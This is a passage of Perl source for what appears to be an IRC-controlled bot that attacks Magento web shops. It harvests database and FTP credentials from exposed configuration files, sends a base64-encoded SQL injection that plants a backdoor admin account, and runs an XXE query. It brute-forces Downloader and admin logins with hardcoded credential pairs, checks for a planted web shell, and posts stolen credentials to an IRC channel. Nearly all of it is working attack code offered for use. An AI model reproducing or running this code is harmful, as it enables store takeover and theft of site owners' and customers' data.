$ftp->login($user,$pass); $ftp->quit; }; if ($success == 0) { &msg("$channel","14[9FTP14] [ 3http://".$host." 14] [".$user." : ".$pass."10] 6Success "); } } if ($magmiz =~ /dbname/) { if ($magen =~ /host?\s\=?\s\"(.*)\"/i) { $host = $1; } if ($magen =~ /dbname?\s\=?\s\"(.*)\"/i) { $db = $1; } if ($magen =~ /user?\s\=?\s\"(.*)\"/i) { $user = $1; } if ($magen =~ /password?\s\=?\s\"(.*)\"/i) { $pass = $1; } my $check = &get_content("http://".$site."phpmyadmin"); if ($check =~ /phpMyAdmin/) { &msg("$channel","15,1[ 4P8hp4M8y4A8dmin3 15] 4,1http://".$site."/phpmyadmin 8,1!9 ".$host." 8! 8,1!4 ".$user." 8,1! 8,1!4 ".$pass." 8,1!"); } &ftp_connect("http://target.com",$host,$user,$pass,$channel,$engine); &dbi_connect($host,$user,$pass,$db,$channel,$engine); &msg("$channel","15,1[ 11$engine 15] 15,1[4D8ata4B8ase415] 8,1[4 http://".$site." 8] 8,1[9 ".$host." 8]0-8,1[9 ".$user." 8]0-8[3 ".$pass." 8]0-8[10 ".$db." 8]"); &msg("$channel","4,1× 0$engine 4×8 ".$user." 8,1——15 ".$db.""); if ($user =~ /_/) { @userz = split(/_/,$user); $usr = $userz[0]; } my $ceklog = "ftp://".$usr.":".$pass."@".$site.""; my $ceklog2 = "ftp://".$user.":".$pass."@".$site.""; my $ftplog = &get_content($ceklog); my $ftplog2 = &get_content($ceklog2); if ($ftplog =~ /ftp/) { &msg("$channel","8,1[+]FTP[+] ftp://".$site." [+]username:".$usr." [+]password:".$pass.""); } if ($ftplog2 =~ /ftp/) { &msg("$channel","8,1[+]FTP[+] ftp://".$site." [+]username:".$user." [+]password:".$pass.""); } my $success = 1; use Net::FTP; eval { my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5); $success = 0 if $ftp->login($user,$pass); $ftp->quit; }; if ($success == 0) { &msg("$channel","14[9FTP14] [ 3http://".$host." 14] [".$user." : ".$pass."10] 6Success "); } } if ($html1 =~ /dbname/i ) { if ($html1 =~ /<\/username>/ ) {$usrx=$1} if ($html1 =~ /<\/password>/){$passx=$1;} if ($html1 =~ /<\/frontName>/){$dirs=$1;} if ($html1 =~ /<\/table_prefix>/){$prefixs=$1;} if ($html1 =~ /<\/dbname>/){$dbname=$1;} my $injek1 = "http://".$site.$dirs."/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGAiLiRwcmVmaXhzLiJhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzM7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDMzOyAgSU5TRVJUIElOVE8gYCIuJHByZWZpeHMuImFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzMsJ21hZ2VudG8nLCAnZGVzaWduJywgJ2Rlc2lnbkAiLiRob3N0LiInLCAnZGVzaWduJywgJ2Q4OTJhOTI1YTFmN2RhN2UwYmExYTk4NTk5MDU4NzNiOnJwJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgIi4kcHJlZml4cy4iYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzMywgJ2Rlc2lnbicpOzsgLS0="; &get_content($injek1);&get_content($injek1);&get_content($injek1);&get_content($injek1); &msg("$channel","14*10!14* 10$engine 14*10!14* 4 ".$usrx." | 10 ".$passx.""); &msg("$channel","14*(3Database14)* 14".$site." - 6 ".$serverIP." - 4 ".$usrx." - 7 ".$passx." - 11".$dbname.""); &msg("$channel","4,1× 0$engine 4× 9http://".$site." 8—–—–—–» [12Check1] 0,1[9 ".$dirs." 0]"); if ($usrx =~ /_/) {@users = split("_", $usrx); $userr = $users[0];} my $success = 1; my $success = 1; use Net::FTP; eval { my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5); $success = 0 if $ftp->login($user,$pass); $ftp->quit; }; if ($success == 0) { &msg("$channel","$magelogo [FTP] [ http://".$host." ] [ ".$userr." : ".$pass." ]"); } my $ceklog = "ftp://".$usrx.":".$pass."@".$site.""; my $ceklog2 = "ftp://".$userr.":".$pass."@".$site.""; my $ftplog = &get_content($ceklog); my $ftplog2 = &get_content($ceklog2); if ($ftplog =~ /ftp/) { &msg("$channel","15,1(10Ftp15) 14(3ftp://".$site."14) 10username:3 ".$usr." [+]password:3 ".$pass.""); } if ($ftplog2 =~ /ftp/) { &msg("$channel","15,1(10Ftp15) 14(3ftp://".$site."14) 10username:3 ".$user." 10password:3 ".$pass.""); } &ftp_connect("http://target.com",$host,$usrx,$pass,$channel,$engine); &ftp_connect2("http://target.com",$host,$userr,$pass,$channel,$engine); &get_content($injek1);&get_content($injek1); my $website1 = "http://".$site."downloader/"; my $check1 = &get_content($website1); if ($check1 =~ /Magento Downloader/) { my ($useragent,$request,$response,%form); undef %form; $form{username} = "design"; $form{password} = "web"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; my $res2 = $response->content; if ($res =~ /Return to Admin/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1OK!!]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site."downloader/ 1---> [9,1OK!!]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site.$dirs." 1---> [9,1OK!!]"); } } } my $webx1 = "http://".$site.$dirs.""; my $checkx1 = &get_content($webx1); if ($checkx1 =~ /Log/i) { &msg("$channel","4,1× 0$engine 4× 9http://".$site." 8—–—–—–» [12Check2] 0,1[9 ".$dirs." 0]"); my ($useragent,$request,$response,%form); undef %form; $form{username} = "design"; $form{password} = "web"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Dashboard/i) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1OK!!]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site.$dirs." 1---> [9,1OK!!]"); } } } } my $html2 = &get_content($test2); if ($html2 =~ /faultString/i ) { my $exl = &xxe_query($test2); if ($exl =~ m/PD94(.*)/){ my $data = $1; my $hash = decode_base64($data); if ($hash =~ /<\/frontName>/){$dir=$1;} if ($hash =~ /<\/table_prefix>/){$prefix=$1;} my $injek2 = "http://".$site.$dir."/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGAiLiRwcmVmaXguImFkbWluX3VzZXJgIFdIRVJFIHVzZXJfaWQgPSAzMzsgIERFTEVURSBGUk9NIGBhZG1pbl9yb2xlYCBXSEVSRSB1c2VyX2lkID0gMzM7ICBJTlNFUlQgSU5UTyBgIi4kcHJlZml4LiJhZG1pbl91c2VyYCAoYHVzZXJfaWRgLCBgZmlyc3RuYW1lYCwgYGxhc3RuYW1lYCwgYGVtYWlsYCwgYHVzZXJuYW1lYCwgYHBhc3N3b3JkYCwgYGNyZWF0ZWRgLCBgbW9kaWZpZWRgLCBgbG9nZGF0ZWAsIGBsb2dudW1gLCBgcmVsb2FkX2FjbF9mbGFnYCwgYGlzX2FjdGl2ZWAsIGBleHRyYWApIFZBTFVFUyAgKDMzLCdtYWdlbnRvJywgJ2Rlc2lnbicsICdkZXNpZ25AIi4kaG9zdC4iJywgJ2Rlc2lnbicsICdkODkyYTkyNWExZjdkYTdlMGJhMWE5ODU5OTA1ODczYjpycCcsICdudWxsJywgJ251bGwnLCAnbnVsbCcsIDEsIDAsIDEsICdOOycpOyAgSU5TRVJUIElOVE8gYCIuJHByZWZpeC4iYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzMywgJ2Rlc2lnbicpOzsgLS0="; &msg("$channel","4,1× 0$engine 4× 9http://".$site." 8—–—–—–» [12Check3] 0,1[9 ".$dir." 0]"); &get_content($injek2);&get_content($injek2);&get_content($injek2);&get_content($injek2); my $website = "http://".$site."downloader/"; my $check2 = &get_content($website); if ($check2 =~ /Magento Downloader/) { my ($useragent,$request,$response,%form); undef %form; $form{username} = "design"; $form{password} = "web"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Return to Admin/) { &msg("$channel","4,1× 0$engine 4× http://".$site." 8—–—–—–» 0[4injected0]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site."downloader/ 1---> [9,1OK!!!]"); } } } } my $webx2 = "http://".$site.$dir.""; my $checkx2 = &get_content($webx2); if ($checkx2 =~ /Log/i) { &ceklogin($website,$engine); &msg("$channel","4,1× 0$engine 4× 9http://".$site." 8—–—–—–» [12Check4] 0,1[9 ".$dir." 0]"); my ($useragent,$request,$response,%form); undef %form; $form{username} = "design"; $form{password} = "web"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Dashboard/i) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1OK!!!]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site.$dir." 1---> [9,1OK!!!]"); } } } } } } } sub ceklogin() { my $website = $_[0]; my $engine = $_[1]; my ($useragent,$request,$response,%form); undef %form; $form{username} = "system32"; $form{password} = "devil123"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Return to Admin/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]"); &msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ system32 ] 2[ devil123 ]"); } elsif ($res =~ /Warning:/i) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ system32 ] 2[ devil123 ]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ system32 ] 2[ devil123 ]"); } elsif ($res =~ /ASchroder_SMTPPro/) { #&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ system32 ] 2[ devil123 ]"); } elsif ($res =~ /File_System/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ system32 ] 2[ devil123 ]"); } } } sub ceklogin1() { my $website = $_[0]; my $engine = $_[1]; my ($useragent,$request,$response,%form); undef %form; $form{username} = "xSouL"; $form{password} = "gentho"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Return to Admin/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]"); &msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ xSouL ] 2[ gentho ]"); } elsif ($res =~ /Warning:/i) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ xSouL ] 2[ ghentho ]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ xSouL ] 2[ ghentho ]"); } elsif ($res =~ /ASchroder_SMTPPro/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ xSouL ] 2[ ghentho ]"); } elsif ($res =~ /File_System/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ xSouL ] 2[ ghentho ]"); } } } sub ceklogin2() { my $website = $_[0]; my $engine = $_[1]; my ($useragent,$request,$response,%form); undef %form; $form{username} = "jancok"; $form{password} = "jancok"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Return to Admin/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]"); &msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ jancok ] 2[ jancok ]"); } elsif ($res =~ /Warning:/i) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ jancok ] 2[ jancok ]"); } elsif ($res =~ /ASchroder_SMTPPro/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ jancok ] 2[ jancok ]"); } elsif ($res =~ /File_System/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ jancok ] 2[ jancok ]"); } } } sub ceklogin3() { my $website = $_[0]; my $engine = $_[1]; my ($useragent,$request,$response,%form); undef %form; $form{username} = "forme"; $form{password} = "forme"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Return to Admin/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]"); &msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ forme ] 2[ forme ]"); } elsif ($res =~ /Warning:/i) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ forme ] 2[ forme ]"); } elsif ($res =~ /ASchroder_SMTPPro/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ forme ] 2[ forme ]"); } elsif ($res =~ /File_System/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ forme ] 2[ forme ]"); } } } sub ceklogin4() { my $website = $_[0]; my $engine = $_[1]; my ($useragent,$request,$response,%form); undef %form; $form{username} = "system_backup"; $form{password} = "123456"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Return to Admin/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]"); &msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ system_backup ] 2[ 123456 ]"); } elsif ($res =~ /Warning:/i) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ system_backup ] 2[ 123456 ]"); } elsif ($res =~ /ASchroder_SMTPPro/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ system_backup ] 2[ 123456 ]"); } elsif ($res =~ /File_System/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ system_backup ] 2[ 123456 ]"); } } } sub ceklogin5() { my $website = $_[0]; my $engine = $_[1]; my ($useragent,$request,$response,%form); undef %form; $form{username} = "magen"; $form{password} = "magen"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Return to Admin/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]"); &msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ magen ] 2[ magen ]"); } elsif ($res =~ /Warning:/i) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ magen ] 2[ magen ]"); } elsif ($res =~ /ASchroder_SMTPPro/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ magen ] 2[ magen ]"); } elsif ($res =~ /File_System/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ magen ] 2[ magen ]"); } } } sub ceklogin6() { my $website = $_[0]; my $engine = $_[1]; my ($useragent,$request,$response,%form); undef %form; $form{username} = "blackunix"; $form{password} = "crew"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Return to Admin/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]"); &msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ blackunix ] 2[ crew ]"); } elsif ($res =~ /Warning:/i) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ blackunix ] 2[ crew ]"); } elsif ($res =~ /ASchroder_SMTPPro/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ blackunix ] 2[ crew ]"); } elsif ($res =~ /File_System/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ blackunix ] 2[ crew ]"); } } } sub ceklogin7() { my $website = $_[0]; my $engine = $_[1]; my ($useragent,$request,$response,%form); undef %form; $form{username} = "Jhones"; $form{password} = "kreator"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Return to Admin/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]"); &msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ Jhones ] 2[ kreator ]"); } elsif ($res =~ /Warning:/i) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ Jhones ] 2[ kreator ]"); } elsif ($res =~ /ASchroder_SMTPPro/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ Jhones ] 2[ kreator ]"); } elsif ($res =~ /File_System/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ Jhones ] 2[ kreator ]"); } } } sub ceklogin8() { my $website = $_[0]; my $engine = $_[1]; my ($useragent,$request,$response,%form); undef %form; $form{username} = "sysadm"; $form{password} = "123456"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Return to Admin/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]"); &msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ sysadm ] 2[ 123456 ]"); } elsif ($res =~ /Warning:/i) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ sysadm ] 2[ 123456 ]"); } elsif ($res =~ /ASchroder_SMTPPro/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ sysadm ] 2[ 123456 ]"); } elsif ($res =~ /File_System/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ sysadm ] 2[ 123456 ]"); } } } sub ceklogin9() { my $website = $_[0]; my $engine = $_[1]; my ($useragent,$request,$response,%form); undef %form; $form{username} = "bogel"; $form{password} = "gagal"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Return to Admin/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]"); &msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ bogel ] 2[ gagal ]"); } elsif ($res =~ /Warning:/i) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ bogel ] 2[ gagal ]"); } elsif ($res =~ /ASchroder_SMTPPro/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ bogel ] 2[ gagal ]"); } elsif ($res =~ /File_System/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ bogel ] 2[ gagal ]"); } } } sub ceklogin10() { my $website = $_[0]; my $engine = $_[1]; my ($useragent,$request,$response,%form); undef %form; $form{username} = "miyabi"; $form{password} = "wew"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Return to Admin/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]"); &msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ miyabi ] 2[ wew ]"); } elsif ($res =~ /Warning:/i) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ miyabi ] 2[ wew ]"); } elsif ($res =~ /ASchroder_SMTPPro/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ miyabi ] 2[ wew ]"); } elsif ($res =~ /File_System/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ miyabi ] 2[ wew ]"); } } } sub ceklogin11() { my $website = $_[0]; my $engine = $_[1]; my ($useragent,$request,$response,%form); undef %form; $form{username} = "stores"; $form{password} = "stores"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Return to Admin/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]"); &msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ stores ] 2[ stores ]"); } elsif ($res =~ /Warning:/i) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ stores ] 2[ stores ]"); } elsif ($res =~ /ASchroder_SMTPPro/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ stores ] 2[ stores ]"); } elsif ($res =~ /File_System/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ stores ] 2[ stores ]"); } } } sub ceklogin12() { my $website = $_[0]; my $engine = $_[1]; my ($useragent,$request,$response,%form); undef %form; $form{username} = "sadmin"; $form{password} = "asdf"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Return to Admin/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]"); &msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ sadmin ] 2[ asdf ]"); } elsif ($res =~ /Warning:/i) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ sadmin ] 2[ asdf ]"); } elsif ($res =~ /ASchroder_SMTPPro/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ sadmin ] 2[ asdf ]"); } elsif ($res =~ /File_System/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ sadmin ] 2[ asdf ]"); } } } sub cekshell() { my $site = $_[0]; my $test1 = "http://".$site."/Neko.php"; my $shellx = &get_content($test1); if ($shellx =~ /IAM - k4l0nk/) { my $safe = ""; my $os = ""; my $uid = ""; if ($shellx =~ 